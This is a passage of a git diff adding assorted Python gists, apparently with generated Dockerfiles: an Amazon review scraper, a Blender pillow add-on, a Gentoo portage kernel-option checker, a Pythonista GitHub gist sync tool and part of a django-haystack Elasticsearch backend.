+			if not reviews:
+				raise ValueError('unable to find reviews in page')
+
+			#grabing the rating  section in product page
+			for ratings in total_ratings:
+				extracted_rating = ratings.xpath('./td//a//text()')
+				if extracted_rating:
+					rating_key = extracted_rating[0] 
+					raw_raing_value = extracted_rating[1]
+					rating_value = raw_raing_value
+					if rating_key:
+						ratings_dict.update({rating_key:rating_value})
+			#Parsing individual reviews
+			for review in reviews:
+				XPATH_RATING  = './/i[@data-hook="review-star-rating"]//text()'
+				XPATH_REVIEW_HEADER = './/a[@data-hook="review-title"]//text()'
+				XPATH_REVIEW_POSTED_DATE = './/a[contains(@href,"/profile/")]/parent::span/following-sibling::span/text()'
+				XPATH_REVIEW_TEXT_1 = './/div[@data-hook="review-collapsed"]//text()'
+				XPATH_REVIEW_TEXT_2 = './/div//span[@data-action="columnbalancing-showfullreview"]/@data-columnbalancing-showfullreview'
+				XPATH_REVIEW_COMMENTS = './/span[@data-hook="review-comment"]//text()'
+				XPATH_AUTHOR  = './/a[contains(@href,"/profile/")]/parent::span//text()'
+				XPATH_REVIEW_TEXT_3  = './/div[contains(@id,"dpReviews")]/div/text()'
+				raw_review_author = review.xpath(XPATH_AUTHOR)
+				raw_review_rating = review.xpath(XPATH_RATING)
+				raw_review_header = review.xpath(XPATH_REVIEW_HEADER)
+				raw_review_posted_date = review.xpath(XPATH_REVIEW_POSTED_DATE)
+				raw_review_text1 = review.xpath(XPATH_REVIEW_TEXT_1)
+				raw_review_text2 = review.xpath(XPATH_REVIEW_TEXT_2)
+				raw_review_text3 = review.xpath(XPATH_REVIEW_TEXT_3)
+
+				author = ' '.join(' '.join(raw_review_author).split()).strip('By')
+
+				#cleaning data
+				review_rating = ''.join(raw_review_rating).replace('out of 5 stars','')
+				review_header = ' '.join(' '.join(raw_review_header).split())
+				review_posted_date = dateparser.parse(''.join(raw_review_posted_date)).strftime('%d %b %Y')
+				review_text = ' '.join(' '.join(raw_review_text1).split())
+
+				#grabbing hidden comments if present
+				if raw_review_text2:
+					json_loaded_review_data = json.loads(raw_review_text2[0])
+					json_loaded_review_data_text = json_loaded_review_data['rest']
+					cleaned_json_loaded_review_data_text = re.sub('<.*?>','',json_loaded_review_data_text)
+					full_review_text = review_text+cleaned_json_loaded_review_data_text
+				else:
+					full_review_text = review_text
+				if not raw_review_text1:
+					full_review_text = ' '.join(' '.join(raw_review_text3).split())
+
+				raw_review_comments = review.xpath(XPATH_REVIEW_COMMENTS)
+				review_comments = ''.join(raw_review_comments)
+				review_comments = re.sub('[A-Za-z]','',review_comments).strip()
+				review_dict = {
+									'review_comment_count':review_comments,
+									'review_text':full_review_text,
+									'review_posted_date':review_posted_date,
+									'review_header':review_header,
+									'review_rating':review_rating,
+									'review_author':author
+
+								}
+				reviews_list.append(review_dict)
+
+			data = {
+						'ratings':ratings_dict,
+						'reviews':reviews_list,
+						'url':amazon_url,
+						'price':product_price,
+						'name':product_name
+					}
+			return data
+		except ValueError:
+			print "Retrying to get the correct response"
+	
+	return {"error":"failed to process the page","asin":asin}
+			
+def ReadAsin():
+	#Add your own ASINs here 
+	AsinList = ['B01ETPUQ6E','B017HW9DEW']
+	extracted_data = []
+	for asin in AsinList:
+		print "Downloading and processing page http://www.amazon.com/dp/"+asin
+		extracted_data.append(ParseReviews(asin))
+		sleep(5)
+	f=open('data.json','w')
+	json.dump(extracted_data,f,indent=4)
+
+if __name__ == '__main__':
+	ReadAsin()
diff --git a/hard-gists/cd045c3663f0fe2cd0e92d88a8ae2274/._snippet.py b/hard-gists/cd045c3663f0fe2cd0e92d88a8ae2274/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cd045c3663f0fe2cd0e92d88a8ae2274/._snippet.py differ
diff --git a/hard-gists/cd045c3663f0fe2cd0e92d88a8ae2274/snippet.py b/hard-gists/cd045c3663f0fe2cd0e92d88a8ae2274/snippet.py
new file mode 100644
index 00000000..96fe4989
--- /dev/null
+++ b/hard-gists/cd045c3663f0fe2cd0e92d88a8ae2274/snippet.py
@@ -0,0 +1,74 @@
+# ##### BEGIN GPL LICENSE BLOCK #####
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the terms of the GNU General Public License
+#  as published by the Free Software Foundation; either version 2
+#  of the License, or (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program; if not, write to the Free Software Foundation,
+#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
+#
+# ##### END GPL LICENSE BLOCK #####
+
+# <pep8 compliant>
+
+bl_info = {
+    "name": "Make Pillow",
+    "author": "Mark C <BlendedMarks>",
+    "version": (0,2),
+    "blender": (2, 79, 0),
+    "location": "View3D >Spacebar Menu",
+    "description": "Generates a pillow",
+    "warning": "Modifiers must be applied before scaling newly created pillow",
+    "wiki_url": "https://blenderartists.org/forum/showthread.php?432659-MakePillow-py-Generate-a-pillow",
+    "tracker_url": "https://blenderartists.org/forum/showthread.php?432659-MakePillow-py-Generate-a-pillow",
+    "category": "Object"}
+
+import bpy
+
+class MakePillow(bpy.types.Operator):
+    """Make Pillows The Easy Way"""      # blender will use this as a tooltip for menu items and buttons.
+    bl_idname = "object.make_pillow"        # unique identifier for buttons and menu items to reference.
+    bl_label = "Make Pillow"         # display name in the interface.
+    bl_options = {'REGISTER', 'UNDO'}  # enable undo for the operator.
+
+    def execute(self, context):        # execute() is called by blender when running the operator.
+
+        # The original script
+       scene = context.scene
+       bpy.ops.object.effector_add(type='FORCE', radius=1.0, view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0))
+       bpy.ops.mesh.primitive_cube_add(location=(0.0, 0.0, 0.0), enter_editmode=True)
+       bpy.ops.transform.resize(value=(1.0, 1.0, 0.2))
+       bpy.ops.mesh.subdivide(number_cuts=10, smoothness=0.0, quadtri=False, quadcorner='STRAIGHT_CUT', fractal=0.0, fractal_along_normal=0.0, seed=0)
+       bpy.ops.object.modifier_add(type='SUBSURF')
+       bpy.ops.object.modifier_apply(apply_as='DATA')
+       bpy.ops.object.mode_set(mode='OBJECT', toggle=True)
+       bpy.ops.object.shade_smooth()
+       bpy.ops.object.modifier_add(type='CLOTH')
+       bpy.context.object.modifiers["Cloth"].settings.effector_weights.gravity = 0
+       bpy.data.objects['Field'].select = True
+       bpy.data.objects['Field'].field.strength = 200
+       bpy.context.object.modifiers["Cloth"].settings.mass = 0.3
+       bpy.ops.screen.frame_jump(end=False)
+       bpy.ops.screen.animation_play()
+       
+       return {'FINISHED'}            # this lets blender know the operator finished successfully.
+
+def register():
+    bpy.utils.register_class(MakePillow)
+
+
+def unregister():
+    bpy.utils.unregister_class(MakePillow)
+
+
+# This allows you to run the script directly from blenders text editor
+# to test the addon without having to install it.
+if __name__ == "__main__":
+	register()
diff --git a/hard-gists/cd19a20d2e712f61d2ea/._snippet.py b/hard-gists/cd19a20d2e712f61d2ea/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cd19a20d2e712f61d2ea/._snippet.py differ
diff --git a/hard-gists/cd19a20d2e712f61d2ea/snippet.py b/hard-gists/cd19a20d2e712f61d2ea/snippet.py
new file mode 100644
index 00000000..41a01e93
--- /dev/null
+++ b/hard-gists/cd19a20d2e712f61d2ea/snippet.py
@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+# Checking installed packages using linux-info.eclass
+# for necessary kernel options
+
+import portage
+
+vartree = portage.db[portage.root]['vartree']
+
+all_cpvs = vartree.dbapi.cpv_all()
+settings = portage.config()
+
+for cpv in all_cpvs:
+    inherit = vartree.dbapi.aux_get(cpv, ['INHERITED'])[0]
+    if 'linux-info' in inherit:
+        pv = portage.catsplit(cpv)[1]
+        cpvpath = vartree.dbapi.getpath(cpv)+'/'+pv+'.ebuild'
+        print('Checking: '+cpv)
+        portage.doebuild(cpvpath, 'clean', settings=settings, tree='vartree',
+                         vartree=vartree)
+        portage.doebuild(cpvpath, 'setup', settings=settings, tree='vartree',
+                         vartree=vartree)
diff --git a/hard-gists/cd72af254e50e01ae763/._snippet.py b/hard-gists/cd72af254e50e01ae763/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cd72af254e50e01ae763/._snippet.py differ
diff --git a/hard-gists/cd72af254e50e01ae763/snippet.py b/hard-gists/cd72af254e50e01ae763/snippet.py
new file mode 100644
index 00000000..64e0fcb1
--- /dev/null
+++ b/hard-gists/cd72af254e50e01ae763/snippet.py
@@ -0,0 +1,269 @@
+# Source: https://gist.github.com/5212628
+#
+# All-purpose gist tool for Pythonista.
+#
+# When run directly, this script sets up four other scripts that call various
+# functions within this file. Each of these sub-scripts are meant for use as
+# action menu items. They are:
+#
+#   Set Gist ID.py   - Set the gist id that the current file should be
+#                      associated with.
+#
+#   Download Gist.py - Download the gist from the URL on the clipboard, and
+#                      automatically set the association for it (if possible).
+#
+#   Commit Gist.py   - Commits the currently open file to the associated gist.
+#
+#   Pull Gist.py     - Replaces the current file with the latest version from
+#                      the associated gist.
+#   Create Gist.py   - create a new gist with the current file
+#
+#
+# Scripts created on the first run reference back to the original script. It is
+# therefore vital that it is named gistcheck.py so that the references work.
+#
+# Download Gist.py can also be run as a bookmarklet from Mobile Safari (to
+# jump from browsing a gist directly to downloading it in Pythonista) by
+# creating a bookmark to:
+#
+#   javascript:(function()%7Bif(document.location.href.indexOf('http')===0)document.location.href='pythonista://GistDownload?action=run&argv='+document.location.href;%7D)();
+#
+#
+# Credits:
+#
+# Takes script by spencerogden
+# https://gist.github.com/4702275
+#
+# and replaces auth() function with that from Westacular
+# https://gist.github.com/4145515
+#
+# which was itself the inspiration for spencerogden's version
+#
+# This combines the gist pull/commit/set id scripts from
+# https://gist.github.com/4043334
+#
+# with the bookmarklet-compatible, multi-gist download script
+# https://gist.github.com/5f3f2035d8aa46de42ad
+#
+# (which in turn is based on https://gist.github.com/4036200,
+# which is based on https://gist.github.com/b0644f5ed1d94bd32805)
+
+import clipboard
+import console
+import editor
+import json
+import keychain
+import os
+import re
+import requests
+import shelve
+import urllib2
+
+api_url = 'https://api.github.com/gists/'
+
+class GistDownloadError (Exception): pass
+class InvalidGistIDError (Exception): pass
+
+def auth(username, password):
+	data='{"scopes":["gist"],"note":"gistcheck"}'
+	request = urllib2.Request("https://api.github.com/authorizations",data)
+	import base64
+	enc = base64.standard_b64encode('%s:%s' % (username, password))
+	request.add_header("Authorization", "Basic %s" % enc)
+	result = urllib2.urlopen(request)
+	rdata = result.read()
+	result.close()
+	print rdata
+	return json.loads(rdata)
+
+#get auth data
+def get_token():
+	token = keychain.get_password('gistcheck','gistcheck')
+	if token is None:
+		u, p = console.login_alert('GitHub Login')
+		token = auth(u, p)['token']
+		keychain.set_password('gistcheck','gistcheck',token)
+	return token
+
+def commit_or_create(gist, files, token, message=None):
+	payload = {"files":{}}
+	if message is not None: payload['description'] = message
+	for f, c in files.items():
+		payload['files'][os.path.basename(f)] = {"content":c}
+	headers = {
+	'Content-Type':'application/json',
+	'Authorization': 'token %s' % token,
+	}
+	if gist is None:
+		payload['public']=True
+		# Create a new gist
+		r = requests.post(api_url[:-1],
+		data=json.dumps(payload),headers=headers).json()
+	else:
+		# Commit to existing gist
+		r = requests.post(api_url + gist,
+		data=json.dumps(payload),headers=headers).json()
+	return r
+
+def fork(gist,token):
+	headers = {
+	'Content-Type':'application/json',
+	'Authorization': 'token %s' % token,
+	}
+	return requests.post(api_url + gist + '/forks',
+	headers=headers).json()
+
+def get_gist_id():
+	db = shelve.open('gistcheck.db')
+	gist_id = db.get(editor.get_path(),None)
+	db.close()
+	return gist_id
+
+def set_gist_id(gist_id):
+	gist_id = extract_gist_id(gist_id)
+	db = shelve.open('gistcheck.db')
+	db[editor.get_path()] = gist_id
+	db.close()
+
+def del_gist_id():
+	db = shelve.open('gistcheck.db')
+	fpath = editor.get_path()
+	if fpath in db:
+		del db[fpath]
+	db.close()
+
+def extract_gist_id(gist):
+	if re.match(r'^([0-9a-f]+)$', gist):
+		return gist
+	m = re.match(r'^http(s?)://gist.github.com/([^/]+/)?([0-9a-f]*)', gist)
+	if m:
+		return m.group(3)
+	m = re.match(r'^http(s?)://raw.github.com/gist/([0-9a-f]*)', gist)
+	if m:
+		return m.group(2)
+	raise InvalidGistIDError()
+
+#load a file from a gist
+def pull():
+	gist_id = get_gist_id()
+	if gist_id is None:
+		console.alert('Error', 'There is no gist id set for this file')
+	else:
+		fname = os.path.basename(editor.get_path())
+		gist_data = requests.get(api_url + gist_id).json()
+		try:
+			newtext = gist_data['files'][fname]['content']
+		except:
+			console.alert('Pull Error', 'There was a problem with the pull',gist_data)
+		if newtext is not None:
+			editor.replace_text(0,len(editor.get_text()),newtext)
+
+def commit():
+	token = get_token()
+	fpath = editor.get_path()
+	fname = os.path.basename(fpath)
+	m = console.input_alert('Edit Description','Enter a new description:','')
+	if m == '': m = None
+	gist_id = get_gist_id()
+	res = commit_or_create(gist_id,{fpath:editor.get_text()},token,m)
+	try:
+		id = res['id']
+	except KeyError:
+		if gist_id:
+			f = console.alert('Commit Failed',
+			'Do you have permission to commit? Would you like to fork?','Fork')
+			if f == 1:
+				res = fork(gist_id,token)
+				try:
+					id = res['id']
+				except KeyError:
+					console.alert('Fork Error', 'There was a problem with the fork')
+				else:
+					set_gist_id(id)
+					res = commit_or_create(id,{fpath:editor.get_text()},token,m)
+					try:
+						id = res['id']
+					except KeyError:
+						console.alert('Commit Error',
+						'Commit still failed, maybe fork too')
+	else:
+		if gist_id is None:
+			set_gist_id(id)
+	print('success!')
+	
+def gist_set():
+	gist = get_gist_id()
+	if gist == None: gist = ''
+	gist = console.input_alert('Assign Gist ID','Enter the gist id for this file',gist)
+	if gist == '':
+		del_gist_id()
+	else:
+		try:
+			set_gist_id(gist)
+		except InvalidGistIDError:
+			console.alert('Invalid Gist ID', 'That does not appear to be a valid gist id')
+
+def download_gist(gist_url):
+	# Returns a 2-tuple of filename and content
+	gist_id = extract_gist_id(gist_url)
+	try:
+		gist_info = requests.get(api_url + gist_id).json()
+		files = gist_info['files']
+	except:
+		raise GistDownloadError()
+	for file_info in files.values():
+		lang =  file_info.get('language', None)
+		#if lang != 'Python': <= trying to replace this check
+		filename = file_info['filename']
+		if os.path.splitext(filename)[1] not in ['.py', '.pyui','.txt']:
+			continue
+		yield file_info['filename'],gist_id,file_info['content']
+
+def makefile(filename,content):
+	#replacing with direct file write.
+	#editor.make_new_file(filename, content)
+	f = open(filename, 'w')
+	f.write(content)
+	f.close()
+	editor.open_file(filename)
+
+def download(gist_url):
+	try:
+		for num, (filename, gist_id, content) in enumerate(download_gist(gist_url), start=1):
+			if os.path.isfile(filename):
+				i = console.alert('File exists', 'A file with the name ' + filename +
+				' already exists in your library.',
+				'Auto Rename', 'Skip')
+				if i == 1:
+					makefile(filename, content)
+					set_gist_id(gist_id)				
+			else:
+				makefile(filename, content)
+				set_gist_id(gist_id)
+	except InvalidGistIDError:
+		console.alert('No Gist URL','Invalid Gist URL.','OK')
+	except GistDownloadError:
+		console.alert('Error', 'The Gist could not be downloaded.')
+	if not num:
+		console.alert('No Python Files', 'This Gist contains no Python files.')
+
+def download_from_args(args):
+	if len(args) == 2:
+		url = args[1]
+	else:
+		url = clipboard.get()
+	download(url)
+
+def setup():
+	script_map={
+	'GistCommit'  :'gistcheck.commit()',
+	'GistPull'    :'gistcheck.pull()',
+	'GistSetID'  :'gistcheck.gist_set()',
+	'GistDownload':'import sys\nif __name__ == "__main__" : gistcheck.download_from_args( sys.argv )'
+	}
+	for s,c in script_map.items():
+		with open(s+'.py','w') as f:
+			f.writelines(['import gistcheck\n','%s\n'%c])
+
+if __name__ == '__main__':
+	setup()
\ No newline at end of file
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/._snippet.py b/hard-gists/cd9a1a7c969c06eaae8b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cd9a1a7c969c06eaae8b/._snippet.py differ
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/Dockerfile-llm-3.8 b/hard-gists/cd9a1a7c969c06eaae8b/Dockerfile-llm-3.8
new file mode 100644
index 00000000..6c0e8242
--- /dev/null
+++ b/hard-gists/cd9a1a7c969c06eaae8b/Dockerfile-llm-3.8
@@ -0,0 +1,15 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","django==4.2.29"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","six==1.17.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","django-haystack==3.2.dev0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","elasticsearch==9.3.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","requests==2.33.1"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/modules/django-haystack_3.8.txt b/hard-gists/cd9a1a7c969c06eaae8b/modules/django-haystack_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/modules/django_3.8.txt b/hard-gists/cd9a1a7c969c06eaae8b/modules/django_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/modules/elasticsearch_3.8.txt b/hard-gists/cd9a1a7c969c06eaae8b/modules/elasticsearch_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/modules/requests_3.8.txt b/hard-gists/cd9a1a7c969c06eaae8b/modules/requests_3.8.txt
new file mode 100644
index 00000000..c92fe7dc
--- /dev/null
+++ b/hard-gists/cd9a1a7c969c06eaae8b/modules/requests_3.8.txt
@@ -0,0 +1 @@
+0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.6, 0.10.7, 0.10.8, 0.11.1, 0.11.2, 0.12.0, 0.12.1, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.13.8, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.6.0, 2.6.1, 2.6.2, 2.8.0, 2.12.0, 2.12.1, 2.12.2, 2.12.3, 2.12.4, 2.12.5, 2.13.0, 2.14.0, 2.14.1, 2.14.2, 2.15.1, 2.16.0, 2.16.1, 2.16.2, 2.16.3, 2.16.4, 2.16.5, 2.17.0, 2.17.1, 2.17.2, 2.17.3, 2.18.0, 2.18.1, 2.18.2, 2.18.3, 2.18.4, 2.19.0, 2.19.1, 2.20.0, 2.20.1, 2.21.0, 2.22.0, 2.23.0, 2.24.0, 2.25.0, 2.25.1, 2.26.0, 2.27.0, 2.27.1, 2.28.0, 2.28.1, 2.28.2, 2.29.0, 2.30.0, 2.31.0, 2.32.2, 2.32.3, 2.32.4, 2.32.5, 2.33.0, 2.33.1
\ No newline at end of file
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/modules/six_3.8.txt b/hard-gists/cd9a1a7c969c06eaae8b/modules/six_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/cd9a1a7c969c06eaae8b/snippet.py b/hard-gists/cd9a1a7c969c06eaae8b/snippet.py
new file mode 100644
index 00000000..4340b9ac
--- /dev/null
+++ b/hard-gists/cd9a1a7c969c06eaae8b/snippet.py
@@ -0,0 +1,1068 @@
+"""
+ This is the basis for an elasticsearch 1.x backend I've cobbled together and am continuing 
+ to refine and test for use. It's based on haystack main's version as of:
+    - https://github.com/toastdriven/django-haystack/blob/cbb72b3253404ba21e20860f620774f7b7b691d0/haystack/backends/elasticsearch_backend.py
+ But with @HonzaKral and @davedash's work to make the backend behave more like an ES user would expect with regard to doc types:
+    - https://github.com/toastdriven/django-haystack/pull/921
+
+ I also made a number of changes:
+    - I fixed bugs that I found in #921 (mostly related to mapping synchronization issues), 
+      all of which I wrote up as comments on #921
+    - I'm using the non-django six library (because I happen to be running this on Django 1.3, 
+      but you can import django's six instead if you want. Should be drop-in)
+    - I translate "score" in order_by clauses to "_score" cause it made some code I share 
+      with a solr backend easier.
+ 
+ At this point my testing has been pretty broad, but not very deep. I think index updates and 
+ rebuilds work well, I'm fairly confident that the mapping synchronization works better than
+ any elasticsearch backend implementation I've found in the haystack commit tree. The models
+ I tested with are fairly wide and complex, but I'm sure didn't cover every data type.
+ Also, in my testing I'm running against an unmodified Haystack v2.0.0, elasticsearch 1.4.0,
+ and Django 1.3.X, but it ought to work in later versions of all. I'm not positive that 
+ I haven't broken py3 compatibility but I tried not to violate it while making changes.
+ 
+ ALSO: List above may no longer be complete. Plus I do kooky things in here like ignore mapping 
+ errors if I have a unit testing flag in settings.
+ 
+ If you use this and find issues, please let me know!
+"""
+from __future__ import unicode_literals
+import datetime
+import re
+import warnings
+
+from django.conf import settings
+from django.core.exceptions import ImproperlyConfigured
+from django.db.models.loading import get_model
+import six
+import haystack
+from haystack.backends import BaseEngine, BaseSearchBackend, BaseSearchQuery, log_query
+from haystack.constants import DJANGO_CT, DJANGO_ID, DEFAULT_OPERATOR
+from haystack.exceptions import MissingDependency, MoreLikeThisError
+from haystack.inputs import PythonData, Clean, Exact, Raw
+from haystack.models import SearchResult
+from haystack.utils import log as logging
+
+try:
+    import elasticsearch
+    from elasticsearch.helpers import bulk_index
+except ImportError:
+    raise MissingDependency("The 'elasticsearch' backend requires the installation of 'elasticsearch'. Please refer to the documentation.")
+
+
+DATETIME_REGEX = re.compile(
+    r'^(?P<year>\d{4})-(?P<month>\d{2})-(?P<day>\d{2})T'
+    r'(?P<hour>\d{2}):(?P<minute>\d{2}):(?P<second>\d{2})(\.\d+)?$')
+
+
+class ElasticsearchSearchBackend(BaseSearchBackend):
+    # Word reserved by Elasticsearch for special use.
+    RESERVED_WORDS = (
+        'AND',
+        'NOT',
+        'OR',
+        'TO',
+    )
+
+    # Characters reserved by Elasticsearch for special use.
+    # The '\\' must come first, so as not to overwrite the other slash replacements.
+    RESERVED_CHARACTERS = (
+        '\\', '+', '-', '&&', '||', '!', '(', ')', '{', '}',
+        '[', ']', '^', '"', '~', '*', '?', ':', '/',
+    )
+
+    # Settings to add an n-gram & edge n-gram analyzer.
+    DEFAULT_SETTINGS = {
+        'settings': {
+            "analysis": {
+                "analyzer": {
+                    "ngram_analyzer": {
+                        "type": "custom",
+                        "tokenizer": "standard",
+                        "filter": ["haystack_ngram", "lowercase"]
+                    },
+                    "edgengram_analyzer": {
+                        "type": "custom",
+                        "tokenizer": "standard",
+                        "filter": ["haystack_edgengram", "lowercase"]
+                    },
+                    "case_insensitive_phrase": {
+                        "filter": ["lowercase",],
+                        "tokenizer": "keyword",
+                    },
+                },
+                "tokenizer": {
+                    "haystack_ngram_tokenizer": {
+                        "type": "nGram",
+                        "min_gram": 3,
+                        "max_gram": 15,
+                    },
+                    "haystack_edgengram_tokenizer": {
+                        "type": "edgeNGram",
+                        "min_gram": 1,
+                        "max_gram": 25,
+                        "side": "front"
+                    }
+                },
+                "filter": {
+                    "haystack_ngram": {
+                        "type": "nGram",
+                        "min_gram": 3,
+                        "max_gram": 15
+                    },
+                    "haystack_edgengram": {
+                        "type": "edgeNGram",
+                        "min_gram": 1,
+                        "max_gram": 25
+                    }
+                }
+            }
+        }
+    }
+
+    def __init__(self, connection_alias, **connection_options):
+        super(ElasticsearchSearchBackend, self).__init__(connection_alias, **connection_options)
+
+        if 'URL' not in connection_options:
+            raise ImproperlyConfigured("You must specify a 'URL' in your settings for connection '%s'." % connection_alias)
+
+        if 'INDEX_NAME' not in connection_options:
+            raise ImproperlyConfigured("You must specify a 'INDEX_NAME' in your settings for connection '%s'." % connection_alias)
+
+        self.conn = elasticsearch.Elasticsearch(connection_options['URL'], timeout=self.timeout, 
+                                                **connection_options.get('KWARGS', {}))
+        self.index_name = connection_options['INDEX_NAME']
+        self.log = logging.getLogger('haystack')
+        self.setup_complete = False
+        self.existing_mapping = {}
+        self.fail_on_mapping_merge_issue = connection_options.get('FAIL_ON_MAPPING_MERGE_ISSUE', False)
+
+    def setup(self):
+        """
+        Defers loading until needed.
+        """
+        # Get the existing mapping & cache it. We'll compare it during the
+        # ``update`` & if it doesn't match, we'll put the new mapping.
+        try:
+            raw_mapping_result = self.conn.indices.get_mapping(index=self.index_name)
+            self.existing_mapping = raw_mapping_result[self.index_name]['mappings']
+        except (elasticsearch.NotFoundError, KeyError):
+            # NotFoundError means the doc_type isn't in the index yet
+            # KeyError means the index doesn't exist yet
+            pass
+
+        mappings_to_put = {}
+
+        unified_index = haystack.connections[self.connection_alias].get_unified_index()
+        
+        # Sigh... https://github.com/toastdriven/django-haystack/pull/851
+        if not unified_index._built:
+            unified_index.build()
+
+        # Get mappings for all ElasticSearch types/models
+        for model, index in unified_index.indexes.items():
+            es_type = self.get_es_type(index)
+
+            self.content_field_name, field_mapping = self.build_schema(index.fields)
+
+            # construct whole mapping for the es type:
+            current_mapping = {
+                es_type: {
+                    'properties': field_mapping,
+                    '_boost': {
+                        'name': 'boost',
+                        'null_value': 1.0
+                    }
+                }
+            }
+
+            if current_mapping[es_type] != self.existing_mapping.get(es_type, {}):
+                mappings_to_put.update(current_mapping)
+
+        if not self.existing_mapping or mappings_to_put:
+
+            # Make sure the index is there first, ignore 400 - index already created
+            self.conn.indices.create(index=self.index_name, body=self.DEFAULT_SETTINGS, ignore=400)
+
+            for es_type, mapping in mappings_to_put.items():
+                try:
+                    # create and store the mappings                
+                    self.conn.indices.put_mapping(index=self.index_name, doc_type=es_type, body={es_type: mapping})
+                    self.existing_mapping[es_type] = mapping
+                except elasticsearch.TransportError as e:
+                    if not getattr(settings, 'UNIT_TESTING', False):
+                        # don't care about this error in unit tests
+                        self.log.error("Failed to merge mapping to Elasticsearch: %s\nMapping attempted: %s", e, mapping)
+                    if self.fail_on_mapping_merge_issue:
+                        raise
+        
+        self.setup_complete = True
+
+    def get_es_type(self, index_or_model):
+        """
+        Get the ElasticSearch document 'type' that is bound to a given
+        index/model.
+        """
+        if not hasattr(index_or_model, '_meta'):
+            index_or_model = index_or_model.get_model()
+
+        return index_or_model._meta.db_table
+
+    def get_type_and_id(self, obj_or_string):
+        """
+        Return a tuple of document type and document id given an object or string
+        reprsenting an object.
+        """
+        if hasattr(obj_or_string, '_meta'):
+            doc_id = '.'.join((obj_or_string._meta.app_label, obj_or_string._meta.module_name, str(obj_or_string.pk)))
+            doc_type = self.get_es_type(obj_or_string)
+        else:
+            doc_id = obj_or_string
+            doc_type = self.get_es_type(get_model(*obj_or_string.split('.')[:2]))
+        return doc_type, doc_id
+
+    def update(self, index, iterable, commit=True):
+        if not self.setup_complete:
+            try:
+                self.setup()
+            except elasticsearch.TransportError as e:
+                if not self.silently_fail:
+                    raise
+
+                self.log.error("Failed to add documents to Elasticsearch: %s", e)
+                return
+
+        prepped_docs = []
+
+        for obj in iterable:
+            prepped_data = index.full_prepare(obj)
+            final_data = {}
+
+            # Convert the data to make sure it's happy.
+            for key, value in prepped_data.items():
+                final_data[key] = self._from_python(value)
+            final_data['_type'], final_data['_id'] = self.get_type_and_id(obj)
+
+            del final_data['id']
+
+            prepped_docs.append(final_data)
+
+        bulk_index(self.conn, prepped_docs, index=self.index_name)
+
+        if commit:
+            self.conn.indices.refresh(index=self.index_name)
+
+    def remove(self, obj_or_string, commit=True):
+        doc_type, doc_id = self.get_type_and_id(obj_or_string)
+
+        if not self.setup_complete:
+            self.setup()
+
+        try:
+            self.conn.delete(index=self.index_name, doc_type=doc_type, id=doc_id, ignore=404)
+
+            if commit:
+                self.conn.indices.refresh(index=self.index_name)
+        except elasticsearch.TransportError as e:
+            if not self.silently_fail:
+                raise
+
+            self.log.error("Failed to remove document '%s' from Elasticsearch: %s", doc_id, e)
+
+    def clear(self, models=[], commit=True):
+        # We actually don't want to do this here, as mappings could be
+        # very different.
+        # if not self.setup_complete:
+        #     self.setup()
+
+        try:
+            if not models:
+                self.conn.indices.delete(index=self.index_name, ignore=404)
+                self.setup_complete = False
+                self.existing_mapping = {}
+            else:
+
+                models_to_delete = [self.get_es_type(m) for m in models]
+                for m in models_to_delete:
+                    try:
+                        self.conn.delete_by_query(self.index_name, doc_type=m, body={'query':{'match_all': {}}})
+                    except elasticsearch.TransportError as e:
+                        self.log.warn("Clear failed for %s-%s. Probably it's missing - %s" % (self.index_name, m, e))
+
+                    # No longer deleting mapping here cause it causes nasty problems
+                    # self.conn.indices.delete_mapping(index=self.index_name, doc_type=m, ignore=404)
+                    # if m in self.existing_mapping:
+                    #     del self.existing_mapping[m]
+
+                if commit:
+                    self.conn.indices.refresh(index=self.index_name, ignore=404)
+
+        except elasticsearch.TransportError as e:
+            if not self.silently_fail:
+                raise
+
+            if models:
+                self.log.error("Failed to clear Elasticsearch index of models '%s': %s", ','.join(models_to_delete), e)
+            else:
+                self.log.error("Failed to clear Elasticsearch index: %s", e)
+
+    def build_models_list(self):
+        """
+        overridden here because we need to use self.get_es_type()
+        """
+        from haystack import connections
+        models = []
+
+        for model in connections[self.connection_alias].get_unified_index().get_indexed_models():
+            models.append(self.get_es_type(model))
+
+        return models
+
+    def build_search_kwargs(self, query_string, sort_by=None, start_offset=0, end_offset=None,
+                            fields='', highlight=False, facets=None,
+                            date_facets=None, query_facets=None,
